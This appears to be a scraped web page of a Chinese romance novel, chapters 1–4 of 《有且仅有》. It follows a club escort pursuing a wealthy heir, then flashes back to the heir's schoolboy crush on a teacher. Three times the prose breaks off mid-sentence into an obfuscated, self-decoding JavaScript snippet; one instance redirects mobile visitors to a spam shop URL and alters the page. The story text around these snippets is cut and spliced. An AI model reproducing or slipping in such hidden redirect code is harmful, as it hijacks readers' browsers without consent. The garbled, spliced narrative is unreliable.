《有且仅有》 1. 第 1 章 晚上十点,金城的夜生活才刚刚开始。 一辆红色跑车风驰电掣碾过一路霓虹,“哧”一声急刹停在“天宫会所”后门,从车上跳下来一个帅气小伙,他“嘭”的一声甩上车门,将车钥匙抛给一旁穿制服的保安。 后门坐台阶抽烟的男子听到动静,抬头露出笑脸:“卢哥你来了!”他站起身来递烟,“可有两三天没来了,正好今儿有大局。” “有大局你怎么没上钟?”卢可摆摆手,“又被刷下来了?” 他睨一眼男子的装扮,“跟你说多少回了?别老穿这制服,又没规定非得穿这,”他扯一下男子胸前飘着的半截领带,“有钱人最烦这种一看就是少爷的装束,你也是,明明有大长腿翘屁股不知道显摆,”他随手捏了一把,“赶明儿等哥有空带你整两身,人靠衣装佛靠金装懂不懂?捯饬好了多上几个大钟,何止这点置装费哪……” 卢可确实有教训人的本钱,他不算特别高,勉强180,但是身段纤长比例好。已经初秋了,上身一件简单白T打底,外头套一件绿底花衬衫,下身不怕冷的穿了条卡其短裤配白色休闲鞋,不是什么贵气潮流的打扮,却十分衬他的气质。 绚烂的灯色下一头柔软的栗金色短发,皮肤白净,五官略作修饰,让他看起来就像一个不谙世事的富家公子哥。 事实也差不太远,卢可做这行并不是因为缺钱,冀西的煤老板虽然没落了,但家里并不缺他这几个花销。 国外留学也是他不愿意去,年轻人就爱喧嚣热闹纸醉金迷,花钱在金城上个野鸡大学卢可觉得挺好,没有课业的烦恼,三不五时呼朋唤友各种局轮番聚。 他老爹问他将来打算怎么办?难不成这么混一辈子? “将来?咱老卢家将来可得靠我哩,难道光耀门楣就非得靠读书?您就等着瞧吧,”他潇洒的冲他老爹挥挥手,“咱家重现荣光,实现阶层跨越就都系我身上了!您老人家只管多给点零花钱吧!”别看他年纪不大,自有筹谋打算。 似乎听到外头的动静,会所里头推门出来一个笑眯眯的中年男子,迎上来拉卢可的手,抓他白嫩的腕子摩搓了两把,“哎呀呀你总算来了,催你电话也不接,我跟你说今儿可真是大主顾。” 卢可甩开他手,他又趁势搂上他肩,在他耳边低声说,“肖魔王带过来的,连肖都捧着哩,分量应该不轻,而且长得那叫一个顶,放心,不是好菜哥哥也不能这么紧催你……” 肖震是天宫的老主顾,玩的开出手也大方,就是脾气不大好,惹着他,上一秒还浓情蜜意,下一秒就能翻脸无情把人往死里整。 可他一年有一多半的时间都在天宫,各种应酬都往这招呼,公主少爷们的小费一半得从他手里拿,所以让人又爱又恨,私底下都管他叫魔王。 连他都敬着那多半还真是盘好菜,卢可不满的瞥一眼亦步亦趋跟着他的张经理,“以前没来过?” “听说是从国外刚回来,”张经理附耳低声说,“我听魔王说国外分公司又说在金城的总部,估摸着不是二代就是三代,而且那模样啧啧,你要真傍上了可得谢谢哥哥我。”他冲卢可挤眉弄眼,又伸手在他腰上不轻不重的捏了一把。 张金龙是弯的,最爱在他身上揩油,卢可烦他,不过天宫会所在金城算是数一数二的销金窟,张金龙在欢场摸爬滚打十多年,人脉广,手底下又管着百来十号人,平时也多有照应,倒也不好太过得罪。 卢可便扯出个笑脸,睨他一眼,“今儿周一上钟的人少,张经理这才想起我来吧?” 天宫一半是坐班,发底薪发制服,上班时间统一有规定。一半是像卢可这样的自由身,有闲有局就来,纯拿小费。 卢可就冲这点才在天宫干了一年有余,一个星期总会来个两三天。 中间也有两个想长包他的,他没答应,档次还低了点,再说本来就是为了好玩,束缚住了还有什么意思? “那哪能呢?虽说是肖魔王吩咐让你来,但跟你不对付的那两个我可都没叫。”张经理拥着他到999外头,虽然明知里头喧嚣听不到,还是敲了两下门,才刷指纹送他进去。 正好是一首歌的间隙,卢可闪亮登场。在众人都抬头看他的一瞬间里,卢可却一眼看见了唯一低头的那一个。 虽然只是一个漆黑微卷的发顶,昏暗光线里一个模糊的侧影,卢可也一眼估摸出他是本场的主角。 他散漫的靠在沙发上,手里半杯残酒,唇角微勾,似乎在看旁边的美女玩骰子。 音乐声响起,灯光明灭变幻,张经理领着他来到肖震和那男子中间,半蹲着身子,“傅总,肖总,这是Lucas。快给二位老总敬杯酒。” 张经理将一杯酒塞到卢可手里,肖震拍拍旁边的男子,“这可是天宫的头牌,一年难得看见几回。”又冲卢可努嘴,“还不赶紧过来给我们傅总敬酒,什么眼色!” 卢可于是看到那男人抬起脸来:典型的浓颜系大帅哥!五官露出便令人一震,尤其乌黑剑眉下是一双极为深邃的眼睛,被他看住的一瞬间,卢可觉得心跳都停了一拍,确实顶!混迹欢场这两年,形形色色的总见了个遍,这男人的样貌绝对可以排第一! 他愣了一下反应过来,矮下身去,举起手中的水晶杯,“傅总晚上好!” 他知道自己左边脸最好看,于是微微偏过头,露出一抹腼腆的笑,“我叫卢可,初次见面,请您多多关照。” 他没说在会所取的英文名,也没拿出平时那股自来熟的风情,直觉男人不会喜欢他那样。 男人没有跟他碰杯,半晌,收起一双随意支愣着的大长腿,坐直了身子,唇角的笑慢慢淡了下来,一双眼睛却始终凝视在他脸上。 “有戏!”他在内心发出一声呐喊,举杯的手向前伸着没有收回来,眉眼却愈发低了下去…… ————————————————————————— 两天后的中午时分,卢可从薄被里探出头,伸出一只手摸向床头柜,将震动个不停的手机放到耳朵边,边打哈欠边开口:“喂……” “还在补觉哪?”张经理笑呵呵的声音隔着话筒传到耳边,“看样子傅总挺满意?今儿的局魔王特特的吩咐让你来,我就说咱们Lucas出马就没有拿不下的……” 卢可清醒过来,撑起身体靠在床头,一边应和着一边打开支付宝,先给张经理户头转了两万块。张经理那边收到提示音,“哟,客气了不是,咱俩这关系给不给的有啥要紧。不过傅总这手面也不算大嘛……” 按规矩,在会所出台,小费会所抽一半,卢可家里经商,做人是打小就教的,这方面向来实诚。 “我洗个澡出来人就走了,就几沓钱丢床头。”卢可也想从张经理这里套点话,自然老实交待。 “没成?不能吧?看傅总那样子跟要一口把你吞肚子里似的……” 卢可也觉得郁闷,傅总确实一晚上眼睛都盯他身上了,但凡他敬酒也都干了,后来肖震安排后续也是他默许的事情,可等他从浴室出来人就不见了。 “是不是你说啥人不爱听的了?” 卢可努力回想,“没有呀,就问我多大来着……” 他攥着肖震给的房卡先进了商务套间,想着都喝了酒还先煮了一壶醒酒茶。 后来傅总就开门进来了,坐在外边沙发上,冲他勾勾手,他温顺的走过去,在他面前蹲下,他伸出手摸了摸卢可的头发,“多大了?”这是他整晚上对他说的第一句话。 先头在包厢里,男男女女唱歌喝酒玩骰子行酒令,他就那么坐着,一双眼睛时不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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但如果是这个男人,不给钱他也觉得自己赚大了,他盯着他挺直的鼻梁下那两片薄唇,用目光描绘着唇形,想象着被那唇亲吻爱抚,一双眼睛渐渐就染上了情欲之色。 然而,那手却落了下来,片刻后,他轻声道,“你去洗澡吧。” 然后……等他出来人就不见了。 “肖总说了傅总也会来嘛?” “那可不!魔王的秘书亲口吩咐的,一定要叫上你,而且让我嘱咐你一定把傅总招呼好!还有,别打扮得太夸张,傅总喜欢清汤挂面。” 张经理对卢可的事一向上心,“小卢啊这条肥鱼你可抓住啰,哥都帮你探过底了,要是能让傅总包上个一年半载指不定小半套房就有了。而且傅总那身材样貌你也看清了的,比前头那俩强海里去了……”之前提出来要包卢可的一个大腹便便一个长相平平,也难怪他看不上。 “那也得看小爷我高不高兴!”卢可倒不是嘴硬,他现在住的这套二环内的公寓价值四百多万,是大学开学之初他老爹给买的,全款付清。小半套房算什么,张金龙真是没见识! 他挂了电话,“噌”的从床上跳起来,开始点外卖洗澡挑衣服打扮。 清汤挂面?他拉开帘子,是一整面墙的挂衣区,挑挑拣拣,选了一件白衬衫,再配一条略修身的黑色西裤,露出一点脚踝,蹬一双黑色手工皮鞋,不行,也太过于素净,腰带和袖扣选缀钻的稍稍点缀一下。再配一块帝舵,既不太low也不夸张。嗯,妥妥的职场知性风,他对镜照了照,十分的满意。 脸上的妆容是必不可少的,在包厢那种明灭不定的光线下,除非是傅总那种刀削斧劈般深刻的五官,不然一准模糊不清泯然众人。 但是太浓了也不行,现在纯娘或者纯MAN都不受欢迎,要娘中带刚,MAN中带柔才勾人。 他略微勾勒了眉眼,再选了一只防水防脱色的淡粉唇釉,细细的描绘了唇形,喷了点橘子味的口气清新剂。虽然他牙齿又白又齐,也没有口气,但如果要亲亲呢?肯定要给上帝最佳体验!香水就免了,清汤挂面么肯定不能香气扑鼻。 这回一定要把人拿下,卢可斗志昂扬! 2. 第 2 章 今晚这局肖震多带了几个人,两个常客两个生面孔,点了一堆男男女女,喝酒唱歌闹腾了一会子,又开了一桌牌,这种是公主少爷们最喜欢的局,牌打得大,小费自然也给得多。 但是混会所的也都是人精,都围在牌桌前肯定不像样,一方最多陪坐一个,剩下的照常在一边吃喝玩乐,唱歌的也挑抒情的慢节奏歌低声唱,不至于吵到金主们玩牌。 卢可坐到肖震的身后看他打,尖着耳朵听他们说话,听这些老总们聊天学问还挺大,卢可喜欢听他们满腹机锋的谈论商场官场的动静,有时候聊股票聊财经,比大学里课堂上教授讲的还实在易懂。而且傅总还没到,少不了要讨论一二。 果然,十点半的时候肖震看看表,“这个廷恩,怎么还没来?跟部|里那帮孙子吃饭就是磨人!” 坐他下手的王总接话,“肖总跟傅总是老交情了吧?他们傅氏这几年可是风生水起,几个关键点都踩中了。”他一副很了解内情的口吻,“原先把傅总发派到澳洲坐冷板凳,没想到峰回路转,人工智能这块现在可是香饽饽。在这种高科技领域能跟李家分一杯羹的也就傅氏了。” “倒不光高科技领域,传统行业傅家也一直跟李家别苗头,”这一位是探听的口吻,“肖总,有没有什么我们不知道的内幕消息?透露一点呗。” 肖震打着哈哈,“还用得着我透内幕?这不明摆着的事吗?反正你要有项目跟李家撞上了,找傅氏多半能帮你,赢不赢的不好说,但亏几个小钱陪个标是一点问题都没有。” 这两家不合看样子是摆在台面上的事了,“在金城不给李景麟面子的真不多。”先头那位熟知内情的王总笑得一脸深意,“不过傅氏确实也有手段,在楼市上撤退得很及时,不然跟李家也难有一争之力。” “我说前两年那几块地傅氏怎么亏本出手了,当时都传傅氏资金链不行了,股价还跌了一段时间,没想到……” “就是,张总不是还接了一块嘛,前阵子饭局碰见还跟我诉苦来着,说开发也不是,捂着也不行,谁成想楼市跌这么快,多半是要砸手里了……” 卢可耳朵里听着这些豪门恩怨,偷摸拿出手机,搜了一下“傅氏傅廷恩”,一堆新闻和链接掉出来,傅氏集团二公子,27岁,牛津数学和计算金融专业硕士毕业,24岁出任傅氏在澳洲的分公司CEO,主营业务向是目前最炙手可热的新能源和人工智能两个版块,今年下半年才调回金城的总部。鉴于傅氏这几年在传统行业的止戈,财经媒体预测傅氏调回傅二是想扩大新业务版块的规模。 卢可初略的扫了扫,愈发心花怒放,这就是他一直在等的人!桌上对于傅廷恩的讨论也炉火正酣,“肖总,我前几天还听了个消息,”下手那位压低了声音,“听说凌家有意与傅家联姻?傅大公子已婚,那岂不是……” 肖震不止是魔王还是条泥鳅滑不溜手,“这事我都没听说,要不等他来了,你问问他?” “那我们哪敢?可没你跟他那交情,听说肖总和傅总还是大学同学,真要联姻,说不准还得请肖总当伴郎哪。” “我们高中一个私校,那是穿一条裤子的交情,可惜大学我在新加坡他在英国,”肖震把几张牌甩桌上,“要我说,结什么婚呀,正年轻什么不好玩,非得把枷锁往身上套?”他顺手摸一把旁边菲菲白嫩的俏脸,“天天有美女陪着,美酒喝着不好么?” 菲菲端着盘水果,拿银叉一块块叉了往肖震嘴里送,小声的嘟囔了一句,“傅总又不喜欢美女。”惹来一阵哄笑。 有性学家研究,人类很有可能都是潜在的双性恋,所以有钱人里头双插头很多。物质富有到一定程度,很多因素就不在感情的考虑之列。主要看感觉看缘分。 “连我们菲菲这样的大美女都不喜欢,那我们傅总眼光得高成啥样啊?”菲菲也是天宫的大红人,长相酷似大明星刘某菲,常来那位林总瞄她一眼,恭维了一句。 “喏,”肖震冲身后抬抬下巴,“他就喜欢我后边那样的。” 卢可抬起头笑了一下,“震哥抬举了。”心里倒忍不住有点雀跃起来。 其实肖震头一回见的时候,似乎也对他颇感兴趣,拉他坐身边,详详细细的问了一堆诸如哪里人多大了在哪念书怎么入的行之类问题。 肖震虽然脾气不大好,可是皮相不差,出手又大方,卢可也动过点心思。可是后来他发现,虽然卢可在的场合肖震会点他,小费也给得丰厚,但私下里却从没联络过。 久了就知道他对男人没兴趣,偏爱菲菲那类型的。当时还有点小遗憾,现在倒庆幸,多亏他跟肖震没什么,不然听他跟傅廷恩这交情,估计干不出二马同槽的事。 傅廷恩差不多十一点才到,男男女女几个人簇拥着他进来,打牌的几个也都扔下牌去跟他寒暄。 卢可特别有眼力见的隔开那不知道秘书还是助理的美女,替他挂好风衣,迎他在沙发上坐下,又递上一杯浓茶。 他身上有浓浓的酒味,眉目也比前两日看上去柔和些。他看他一眼,眼神似乎是随意的,却又好像带了点说不清的意味。在他那含着点审视的睇望下,卢可觉得心脏都“砰砰”的跳动起来。 这个男人实在太性感,他似乎有些疲累,随意散着两条腿,接过王总点好的烟,抽一口,雾气在他的薄唇边萦绕,卢可简直有些移不开眼睛。 肖震扯了他一下,又瞄了一眼傅廷恩,他会意的在他身边坐下,想了想,又试探的把距离缩短,像上次一样半倚在他怀里。 这次他梦想成真,傅廷恩伸出手把他搂进了怀里,甚至将头倚在了他的颈窝边,一股醇厚的烟草味瞬间就将他包裹进来。 卢可条件反射般的就想要回头回抱住他,可是他在他耳边低声说:“别动。” 卢可想他大概是喝醉了,只好僵着身体不动,他却将他抱得更紧了,炽热的呼吸喷洒在他的耳边,让他的心脏一阵颤栗。 他同时听到了后背传来的属于傅廷恩的心跳声,“咚咚咚”急促而有力,这令他感到一阵眩晕又浮想联翩。 身边的人来来回回,敬酒的、邀唱的、寒暄的各种喧嚣糅杂在一起。傅廷恩松开手去应酬,卢可便起身点了一首他拿手的歌,是一首老歌《难得有情人》。 经典的旋律配上卢可独特的嗓音,博得了不少掌声。 “甜蜜的与爱人风里飞奔……” “高声欢呼你有情不枉这生……” “一声你愿意一声我愿意……” “惊天爱再没遗憾……” “明月雾里照人相爱相亲……” 卢可的视线一直胶着在傅廷恩身上,暗沉的光线里,傅廷恩的眼睛却是晶亮的,他偏过头笑了一下,手掌拂过脸庞。 众人起哄着要他们喝个交杯,卢可倒了两杯酒过来,他却摆了摆手,接过其中一杯一饮而尽。 醉意似乎更浓了些,卢可温顺的依偎在他身边,傅廷恩伸出一只手揽着他,一只手接过那些递过来的烟、酒杯、话筒。 烟雾迷蒙间,他低下头看着他。这一次卢可看得清楚,他的眼神里有深深的迷恋,薄唇在酒液的润染下泛着晶莹的光泽。 卢可心跳如擂鼓,忍不住仰头吻了上去,他却侧过了脸庞,低声在他耳边轻笑:“不要太主动。” 卢可只觉得从耳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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不过几息之间他已经调整好了心绪,停下步伐,转身在沙发前蹲下,将钱丢到一边,“我不要钱,能不能换你一个故事?” 他目光炯炯的凝视着面前情绪低落的男人,赌他心里也是憋闷的。“我想听你和他的故事。” 曾经有客人评价过,他深情凝视的眼神就像一汪深潭,可以让人溺毙其中。 傅廷恩看着那双眼睛,手指攥紧,半晌,他没有说故事,却低声道:“告诉我,你想要什么?” 卢可愣住,傅廷恩再次开口,“我只问这一次,你想清楚了再回答。” 卢可脱口就想说“你”,却在接触到那道了然的目光时咽了回去。那双深邃的眼睛里,此刻再也没有迷恋,只有冰冷和疲惫。 “一个机会。”卢可低声道,“一个能接触到真正的顶层的机会。我讨厌暴发户这个称谓,我想去看山顶的风景。” 傅廷恩点点头,“啪”一声打开打火机,又点燃了一根烟,“好,半个月后有一场酒会,会有人来接你。机会给到你,能不能把握住看你自己。”他眯着眼睛,吐着烟圈,“记得,不要太主动。” “那你需要我回报你什么?”卢可很上道。 “等你拿到这个机会再说,”他闭上眼,“出去吧。” 卢可看着倚靠在沙发上闭目假寐的男人,烟雾萦绕在他的眉梢眼角,令他看上去分外的孤单又美丽。他在心底遗憾的叹了口气,退出了房间。 等听到一声轻微的门响,傅廷恩站起身,脱力般倒在巨大的水床上,水波荡漾,他缓缓进入梦乡,再一次回到了那个故事的开端…… 3. 第 3 章 九年前的秋天,傅廷恩即将十八岁,在金城的恒雅私高念Year 12(高三)。 “铃铃铃……”预备铃过后,广播里温柔的女声牛津腔响起:“In five minutes,we will enter the third class……Please prepare yourselves.(五分钟后我们将进入第三节课,请同学们做好准备……)”两个身影急匆匆一前一后冲进教室,掀起一阵热浪和喧嚣。 “啊廷恩,你鼻子怎么流血啦?”同桌袁立雅大呼小叫,“还有这胳膊,你又跟人打架了嘛?这明明才开学呀!”她在台湾念完国中才转来恒雅,一口台湾腔经常被女生学舌也改不掉。 傅廷恩不理她,脱下汗湿的球衣胡乱往脸上一抹,塞进课桌里头,又从旁边储物柜里掏出一件干净校服换上。 “我去拿医药箱嗷……”每个班级前台都备有紧急医药箱,袁立雅起身,傅廷恩扯她坐下,“你少管闲事!用不着!”他似乎气得不轻,呼哧着捶了一下桌子,犹不解气,又踢了凳子一脚。 跟在他身后跑进来的肖震也是满头大汗,看袁立雅眼泪在眼眶里打转,赶忙安慰班花:“别哭别哭,他不是冲你,刚篮球场上让八班那几个的球砸了,咱没防备吃亏了,这场子等放学再找回来!” 肖震也好不到哪去,眼眶青了一圈,腮帮子肿起。这俩是一对秤不离砣的难兄难弟。 袁立雅到底把医药箱拎过来,傅廷恩不让碰,自己在箱子里拿了两棉球塞鼻孔里头,她只好转身给肖震眼眶涂了圈紫药水。 “江家那几个的德性你俩又不是不知道,搭理他们干嘛!!“袁立雅忿忿不平的念叨,“都是凌倩那绿茶婊惹的麻烦啦,刚还上我们班来找廷恩哩,让我给怼回去了!” 恒雅私高是一所中外合作办学的私立学校,十五年一贯制,使用的是A-level(英国高中)的课程体系,想往英联邦国家留学的金城富二代官二代基本齐聚于此。 金城各大家族盘根错节的复杂关系在二代们身上也体现得淋漓尽致。傅家和江家不对盘久矣,据说这次傅家老爷子心脏病发住院就跟江家在商场上埋的几个钉子不无关系。可问题是,傅家虽然房丁多,但断层大,在恒雅私高的就傅廷恩一个,江家却是四五个“精英”荟萃在这里。 “没有凌倩那事他们也会来找茬!”肖震气得咬牙切齿,奈何形势比人强,“要不咱俩转了算了?金城多的是学校,也不是非得在这死磕!” “啊……”袁立雅立刻眼泪汪汪,傅廷恩不等她投反对票,已经一拳头砸桌子上,“转个屁!老子怕他们几个!这事没完,你等着瞧……” 狠话没放完,上课铃响了。跟在班主任简老师身后,一抹清俊的身影踏进了教室。原本嘈杂的教室突然间安静下来。 “同学们,你们原来的数学老师休产假,从这个学期开始,由曾老师担任你们的数学老师。曾老师,来,自我介绍一下吧。” 清俊的身影开始具象化,一个身量修长的男人站在讲台前,黑亮充盈的短发,白皙的皮肤,金边眼镜架在高挺的鼻梁上,丰润的嘴唇微启,展露一抹和煦的微笑,阳光穿过窗棂,给他整个人都镶上了一层金边。 “同学们好,我叫曾闰成,”他转身在黑板上写下漂亮的板书,“刚从金师大硕士毕业,很高兴可以担任六班和七班的数学老师,大家在数学上有任何问题可以随时跟我沟通。” 简老师生怕他刚毕业的资历难以服众,连忙补充:“曾老师可是在国际数学竞赛上都获得过金奖的,是学校今年特聘的高材生,他在数学这门学科上有很深的造诣,大家有数学方面的难题都可以向他请教。” “知道啦……”教室里响起稀稀拉拉的掌声和应和声,鼓掌的多半是女同学,毕竟这么帅气年轻的老师在恒雅私高并不多见,可数学这门学科在恒雅并不太受欢迎。 尽管很多名校的王牌专业都指定要数学成绩,但它难度摆在那里,每年名校的名额那么少,二三代们中间也不乏纨绔子弟,以混个文凭为己任。你让他们听听历史故事时政新闻还勉强能入耳,数理化课上睡觉的不在少数。 恒雅要求主流课程必须学,但可以不申考,当然前提是你大学申请的专业对这门课程无成绩要求。 “这个老师好帅好温柔的样子。”袁立雅兴奋得搓手手,转头看见她的同桌一动不动盯着讲台,鼻子里杵着两个棉球,眼神却是从没有过的专注,“咦,廷恩,你的样子好怪哦……” 他这副怪异的样子一直持续到下课,中间肖震戳了他两回也没反应,好不容易熬到下课铃声响起,肖震一蹦到傅廷恩课桌前,“廷恩,你不会是被砸伤脑袋了吧?” “去你的!”傅廷恩取下棉球扔垃圾桶,他能说他耳朵嗡鸣了半节课,什么声音也听不到,只看得见讲台上那个男人开合的嘴唇和带笑的眉眼吗? 傅廷恩从小帅到大,追他的女生没有千儿也有八百,凌倩喜欢他,袁立雅喜欢他,几个世交家女孩子也喜欢他,他哥问他到底喜欢哪一个,他说不知道,确实不知道,好像各有各的可爱,各有各的好。 “不知道?那等她出现你就知道了!”他哥调侃的笑声还在耳朵边。 “见鬼!”他烦躁的抓了抓头发,把微卷的黑发弄得愈发凌乱不堪,知道是知道了,可谁能告诉他为什么是个男的?! 不过十七八岁的少年是不会把这种烦恼太放在心上的,目前头等大事是找回丢在篮球场上的面子,江家这几个个个牛高马大,武力值不弱,抱团的时候他还真搞不定,除非各个击破…… 他翻一下课表,明天下午有一节皮划艇课,江三好像也选修了这一门…… 放了学,校门口豪车云集,各家的司机早早就等候在校门口,所以肖震说的放学找场子就是一句挽尊的狠话,完全没有实施的可能。 傅廷恩不想回大宅,打发了司机,又给他妈打了个电话,最近老爷子住院,家里人仰马翻,倒不是要照顾病人,几排护工候在那,而是老爷子已经八十高龄,身后这一堆产业,各房都有能人,一点风吹草动便闹得不可开交。他妈叮嘱两句,也就允许了他十点再回去。 他和肖震两个晃悠到旁边网咖打了几把魔兽,肚子饿了,就跑旁边小巷子吃烧烤,虽然恒雅三餐均供,而且品类丰富,但那种严格按照科学食谱供应的饭菜哪里会符合中学生的胃口,反而是巷子里的烧烤摊火锅店颇受公子小姐们欢迎。即使家里、学校管理严格,总有孩子想尽办法也要去搓一顿。 “哥你尝这个,这家羊肉串肥油多就是比别家好吃!”肖震挥舞着手里一把串串,把一根咬了一口的羊肉串往傅廷恩嘴里塞。 傅廷恩囫囵几口,眼睛瞟在手机上,凌倩给他发了几张照片,正点击原图,肖震一把抢过去,“我操!校花就是校花,穿啥都这么美 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13422333|141360||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,身材这么正点!啧啧啧……” 照片其实也不露,有几张穿得比较修身,再配上她噘嘴眨眼的表情,跟日本杂志里头的“校园卡哇伊”有得一拼! “没见识!”傅廷恩白他一眼,“这有什么好看!你床板底下那些杂志上头,哪个拎出来不比这大?!”他手指随意点了下胸口的位置。 “那杂志上的谁知道真假,这可是咱们身边的人,感觉不一样!”肖震一脸要流哈喇子的表情,“大哥不愧是大哥,原来你喜欢胸大的!难怪你都不搭理立雅!”台湾妹是公认飞机坪,“那上次□□学姐生日趴特意约你你怎么也不去?” “没兴趣!”他从口袋里摸出根烟,环顾四周找打火机。 “铃铃铃……”一阵自行车铃声伴随着脚踏的吱嘎声由远及近,烧烤摊老板娘冲他们身后露出个笑脸,“曾老师,回来了?浴室的水龙头我老公今天修好了,床脚加固了一圈,您今天试试,有什么不合适的再跟我们说。” 傅廷恩和肖震齐齐转头,一辆老旧的自行车,前框里头还装了几样菜蔬,穿着白衬衫、黑西裤的男人把车推楼道间锁好,又拎出塑料袋,“好的,谢谢您,我今天找到菜市场了……咦,你们两个……”他一抬头,发现了两只呆头鹅,都穿着恒雅的校服。 “好像是我们班学生吧?”他上前把傅廷恩嘴里的烟一扯,毫不客气,“怎么抽烟呢?你才多大?抽烟对肺……” “曾老师,我叫傅廷恩。”傅廷恩很没礼貌的打断了他说的话,因为他压根就没有听见他在说什么。故作成熟的伸出手,眸子里透出一股很正经的架势,就是忘了抹嘴角的肥油,“七班的。” 曾闰成被他滑稽的样子逗笑,抽出一张纸巾塞到他伸出的手掌里,全然不知道自己带笑的眼眸、微弯的长眉、洁白的牙齿,以及落在手心里轻微的碰触,在少年的心里掀起了一股风浪。 “我知道,你今天上课发呆来着,我看了座次表。还有,肖震是吧?”他转头看向一边,“你上课还睡觉来着,你AS数学考的什么等级?” 肖震摸摸脑袋,“2C1D,呃,太难了……老师,我五所院校都是申的商科。”商科专业对数学成绩的要求要低一点。 “老师,AS我拿了2A1A*,我已经拿到牛津的数学和计算机科学专业预定offer了。”傅廷恩不满老师的注意力被好兄弟吸引,急不可待的展示实力。 “是吗?牛剑相当于国内清北的水平要求,数学相关专业尤其难申请,”他果然转过头,温柔的目光凝视在他的面庞上,“那你要加油了!P3、P4最好都拿A*,雅思过了吗?” 傅廷恩摇头,“考过一次6.5,不够。”他眼睛扫到曾闰成手里提着的塑料袋,“老师你还没有吃饭吗?跟我们一块吃烧烤吧,我请客!” 他笑着摇摇头,“我不太能吃辣,”他指指身后老旧的居民楼,“我租住在这里,不早了,你们也早点回家吧。拜拜。” 他转身走向楼道,昏暗的应急灯令他的背影看起来分外修长。 肖震扯着傅廷恩的书包带子,走出小巷口,才敢小声抱怨,“靠!流年不利,吃个烧烤还碰上老师!他还把你烟收了,”肖震不满的撇嘴,“哥你怎么看起来有点怕他?这可不是你风格,上回年级组长没收你打火机你还骂他来着!” 傅廷恩默不作声踢一下脚下的小石头,“回家吧……明儿皮划艇课的事别忘了。” 4. 第 4 章 曾闰成打开门,这是二楼一个带卫生间的单间,他一个人倒是够住。老旧步梯房,租金便宜,最重要是离恒雅很近,顺着老巷子的青石板路拐出去就是宽阔气派的校门口。 不远处的高楼大厦鳞次栉比、车水马龙。新潮与古老并驾齐驱是金城这座都市的独特魅力。 他简单做了一个水煮青菜填饱肚子,看看时间,拨通了老家号码:“婆婆,还没睡吧?最近腰好点了吗?中药一天两顿一定要按时吃,让小霞帮你熬……”话筒里传来的熟悉乡音是他在这座大城市拼搏的动力。 不是没有想过回老家去,就近照顾婆婆和妹妹。但刚从象牙塔走出来的年轻人谁没有一点梦想呢?如果能够在这座大城市安定下来,就可以把婆婆和妹妹接过来…… 刚挂了电话,手机铃声又想起,他迟疑了一下,接起来:“喂,苏秘书。” “曾老师,下周五没课吧?如果有就调一下,下周五是李总生日,会办一个小型的party,李总特意吩咐了,让你不要准备礼物,来吃个饭就行了。嗯,好,到时候让司机去接你,手机保持畅通啊,好的,再见。”苏秘书的细致体贴一如四年前。 曾闰成挂了电话,稍作思索,翻找出一块砚台和没开胶的墨条,先拿出一摞废纸练手,这两个月找工作入职搬家,好久没写了,手生。他浇点水,开始细细的磨墨,思绪却不由得飞向了四年前的冬天。 大三的寒假。原本寒假的时间短,又要回去过年,是不打算找寒假工的。可刚好学校为了一场部委发起的活动提前了半个月考试,妹妹的生日是在年底,打电话回去问她要什么礼物,小女孩羞涩忸怩了半天才小声的说:“学习机行吗?”又赶紧补充,“太贵就不要了。”懂事得让人心疼。 于是他冒着零下三四度的寒风出来碰碰运气。 他们师范类学生,家教类工作其实是最合适的,他手上也带了两个固定的,是他每月生活费的来源。但是金城的小孩子家家都娇惯,并不太好伺候,他也想找找别的试试看。 都忘了自己是怎么走到君临集团楼下的了,可能是外面的寒风太刺骨,而一楼大厅的空调隔着门缝都让人感到暖和,想起六年的资助,他鼓起勇气跨过自动门,大理石地板锃亮的反着光,高跟鞋“咳咳咳”的声音此起彼伏,两年前的前台他来过一次,不记得是不是这两个美女,只能期期艾艾的开口:“你好,请问……请问李总在吗?” “李总?哪个李总?” “李……景麟。” 两个美女对视一眼,“先生,你好,请问你有预约吗?”两年前一模一样的回答。 他有点泄气,想也知道,人家并不缺这一声感谢。何况他的目的也并不单纯是一声感谢。 他有点羞愧,“算了,我没事。” “你好,你找李总什么事?”一阵高跟鞋的磕哒声由远及近,两个美女齐齐站起身:“苏秘书,下午好!” 穿着干练的女人点点头,转头细细的打量了他一番,又重复了一遍,“您找李总有什么事?我是他秘书,您有事跟我说是一样的。” 样貌清秀的男生,脊背挺直得像一竿修竹,却微低着头,白净的面庞闪过一丝红晕,“呃,我是大梁山区李总资助了六年的学生,我考到金城来上大学了,想……跟李总当面说声感谢。两年前我来过一回,预约不了……” 这种芝麻绿豆的小事怎么会到老板面前去,前台就挡了。 “你怎么知道是李总资助了你?”苏秘书有些好奇,公司慈善这块一向都是以公司的名义,不会用老板个人的名称。 “他来我们山区考察,上了报纸,我还跟他合影了……”男生虽然有些害羞的样子,但神情倒也不卑不亢,说话也条理清晰。哦,难怪,那时候李景麟刚被派到金城接手君临,各个业务版块都轮着巡视了一番,少不了一些作秀博口碑的场合。 她又抬头看了眼前的男生几眼,作为心腹,苏秘书当然对李景麟的口味和偏好心知肚明,略一沉吟,再抬腕看看手表,“来,跟我来吧,我领你去见见李总。” 回忆被粘到手上的墨汁打断,他放下墨条,润了润笔,写了个斗大的“寿”字。笔力凝滞,规整无神,而且“寿”字可能送给老人家更合适一点,他略一思索,换了个麟字来写,越发泼泼满满,臃肿难看。 